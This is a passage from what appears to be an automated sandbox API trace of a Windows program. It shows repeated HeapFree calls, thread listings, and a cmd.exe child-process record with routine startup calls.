	[0185.834] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.835] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.835] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.836] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.837] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.837] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.838] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.839] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.840] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.840] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.840] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.841] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.841] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.842] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.843] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.843] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.844] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.845] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.846] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.846] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0185.846] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.846] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0185.977] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0186.002] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0186.002] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0186.002] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0186.002] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.002] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0186.003] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0186.003] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.003] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.003] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.003] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.003] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.003] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.003] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.004] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.004] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.004] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.004] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.005] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.005] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.005] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.005] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.005] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.005] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.005] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.005] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.005] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.006] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.006] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.006] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.006] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.006] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.006] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.006] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.006] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.006] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.006] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.006] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.007] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.007] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.007] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.007] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0186.007] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0186.007] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0186.174] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0186.180] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.180] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0186.180] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0186.185] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.186] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.186] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.186] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.187] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.188] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.189] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.189] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.189] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.190] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.190] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.191] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.192] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.192] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.193] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.193] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.194] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.195] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.196] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.196] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.197] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.198] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.198] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.199] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.199] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.200] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.200] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.200] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.201] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.205] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.205] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.205] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.206] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.206] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.206] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0186.208] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0186.208] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.208] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0186.208] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0186.214] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0186.442] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.443] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0186.443] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0186.443] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.443] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.443] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.443] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.443] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.443] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.444] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.444] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.444] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.444] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.444] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.444] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.444] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.444] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.444] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.444] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.444] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.445] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.445] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.445] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.445] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.445] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.445] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.445] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.445] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.445] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.445] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.445] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.445] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.446] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.446] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.446] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.446] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.446] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.446] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0186.446] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.446] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0186.446] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0186.446] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0186.450] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0186.452] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.452] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0186.554] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0186.554] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.554] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.557] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.557] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.558] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0186.558] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0186.564] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.565] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.566] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.566] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.567] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.568] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.568] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.569] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.569] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.570] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.570] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.571] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.571] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.571] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.571] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.572] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.572] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.573] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.573] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.574] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.574] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.575] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.575] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.576] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.576] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.576] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.577] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.577] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.577] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.578] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.578] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.579] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.579] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.579] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0186.579] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0186.579] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0186.579] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0186.585] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0186.660] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0186.660] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.662] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1

Thread:
	id = 54
	os_tid = 0xdc4


Thread:
	id = 55
	os_tid = 0xdc8


Thread:
	id = 58
	os_tid = 0xde8


Thread:
	id = 59
	os_tid = 0xdf0


Thread:
	id = 60
	os_tid = 0xdf4


Thread:
	id = 61
	os_tid = 0xdf8


Process:
	id = "7"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x2f690000"
	os_pid = "0xd5c"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "child_process"
	parent_id = "6"
	os_parent_pid = "0xd50"
	cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\""
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011cf4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 31
	os_tid = 0xd60

	[0161.710] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff640c60000
	[0161.710] __set_app_type (_Type=0x1) 
	[0161.710] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff640c76d00) returned 0x0
	[0161.710] __getmainargs (in: _Argc=0x7ff640c99200, _Argv=0x7ff640c99208, _Env=0x7ff640c99210, _DoWildCard=0, _StartInfo=0x7ff640c9921c | out: _Argc=0x7ff640c99200, _Argv=0x7ff640c99208, _Env=0x7ff640c99210) returned 0
	[0161.710] _onexit (_Func=0x7ff640c77fd0) returned 0x7ff640c77fd0
	[0161.711] _onexit (_Func=0x7ff640c77fe0) returned 0x7ff640c77fe0
	[0161.711] _onexit (_Func=0x7ff640c77ff0) returned 0x7ff640c77ff0
	[0161.711] _onexit (_Func=0x7ff640c78000) returned 0x7ff640c78000
	[0161.711] _onexit (_Func=0x7ff640c78010) returned 0x7ff640c78010
	[0161.712] _onexit (_Func=0x7ff640c78020) returned 0x7ff640c78020
	[0161.712] GetCurrentThreadId () returned 0xd60
	[0161.712] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xd60) returned 0x70
	[0161.712] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff8558d0000
	[0161.712] GetProcAddress (hModule=0x7ff8558d0000, lpProcName="SetThreadUILanguage") returned 0x7ff8558ea990
	[0161.712] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0161.854] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0161.854] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xd72279fd88 | out: phkResult=0xd72279fd88*=0x0) returned 0x2
	[0161.854] VirtualQuery (in: lpAddress=0xd72279fd74, lpBuffer=0xd72279fcf0, dwLength=0x30 | out: lpBuffer=0xd72279fcf0*(BaseAddress=0xd72279f000, AllocationBase=0xd7226a0000, AllocationProtect=0x4, __alignment1=0xffffaf8d, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
